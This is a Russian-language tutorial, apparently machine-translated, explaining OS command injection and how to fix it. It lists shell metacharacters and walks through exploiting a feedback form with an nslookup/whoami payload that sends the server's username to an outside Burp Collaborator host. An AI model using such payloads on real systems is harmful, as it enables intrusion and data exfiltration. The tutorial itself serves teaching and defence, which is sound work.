На реальном примере:

Command Injection - это уязвимость, при которой злоумышленники могут выполнять системные команды, минуя ввод через поля ввода приложения. Эта уязвимость возникает из-за того, что приложение передает системные команды незащищенные и небезопасные входные данные.

Приложение позволяет пользователям запускать некоторые из определенных команд онлайн, например ping и traceroute. Но поскольку приложение не дезинфицируется и не проверяет входные данные перед передачей их в системную команду. Злоумышленник может повысить свои привилегии, вставив вредоносный код в приложение, и может выполнить нежелательные действия.

Пример: приложение передает значение параметра ID непосредственно в системную команду.

Теперь злоумышленник подделывает значение параметра id и выдает; ls вместо числового значения.

Примечание. Мы можем выполнить любую системную команду, такую ​​как PWD, whoami и т. д.

В ответ мы видим вывод команды execute. Я использовал; мета-символ. Также доступны другие мета-символы, с помощью которых мы можем выполнять инъекцию команд, например: , &, &&, | , || , `, (), #.

Он не зависит от языка и может быть обнаружен в любой среде, где приложение небезопасно передает пользовательский ввод непосредственно в системной команде.

Работает:

Теперь злоумышленник проверяет приложение, в котором существует функция выполнения команд, затем он добавляет дополнительные команды с помощью мета-символа, чтобы проверить ответ своих дополнительных команд.

· После нахождения поля ввода, куда злоумышленник может ввести системную команду

· Модифицированная системная команда взаимодействует с серверной ОС. Поскольку наш ввод не очищен, мета-символы напрямую взаимодействуют с серверной частью и могут запускать свои собственные команды на сервере.

· Когда на сервере выполняется отдельная команда, злоумышленник может видеть вывод соответствующей команды в пользовательском интерфейсе.

Эксплуатация:

В приложении есть форма обратной связи, с помощью которой пользователи могут отправить форму обратной связи. Ценность формы обратной связи никоим образом не очищается.

Если мы перехватим запрос формы обратной связи, мы увидим этот тип запроса.

Наше конкретное требование - получить в приложении имя текущего пользователя, вошедшего в систему. В Linux это легко сделать с помощью команды whoami.

Чтобы увидеть ответ, мы должны отправить его на сервер, который регистрирует все запросы.

Итак, чтобы выполнить указанное выше требование, я введу указанные ниже данные в поля и проверю ответ в клиенте Burp Collaborator.

«nn || nslookup +` whoami`.eygwi47rzjzrnl0b229khkqif9lz9o.burpcollaborator.net || »

nn = Для ввода текста в текстовое поле это может быть что угодно

Nslookup = для поиска на сервере имен

Whoami = команда в Linux, которая указывает мне, кто в настоящее время вошел в систему, и я указываю это в `meta char.

2ru5ecuswz35etelianpdx17uy0poe.burpcollaborator. net = Адрес соавтора Burp

+ = используется для удаления пробелов

. = это используется для добавления вывода команды к URL-адресу клиента-сотрудника Burp, чтобы мы могли иметь этот журнал в клиенте-сотруднике.

Мы также должны проверить каждое поле формы обратной связи, чтобы проверить, какой параметр уязвим для внедрения команд.

Поскольку я указал полезную нагрузку в поле имени:

В ответ он дал мне ошибку 400, так как длина имени не может быть больше 64, теперь я указываю эту полезную нагрузку в поле электронной почты.

В ответ я получил 200 ОК, похоже, запрос был успешно выполнен, давайте попробуем, несем ли мы какую-либо ответственность в нашем клиенте-соавторе отрыжки.

Здесь вы можете видеть, что мы получили некоторые DNS-запросы, поскольку использовали nslookup, так что это DNS-запросы. В описании вы можете видеть, что к нему добавляется значение текущего вошедшего в систему пользователя.

Исправление

· Санитарная обработка ввода, которая будет проходить в системных командах.

· Внесение в белый список команд ввода, необходимых в соответствии с требованиями бизнеса.

· Запускайте сервер с ограниченными разрешениями и выполняйте правильную авторизацию на серверах.

· Выполняйте проверку исходного кода для системных вызовов.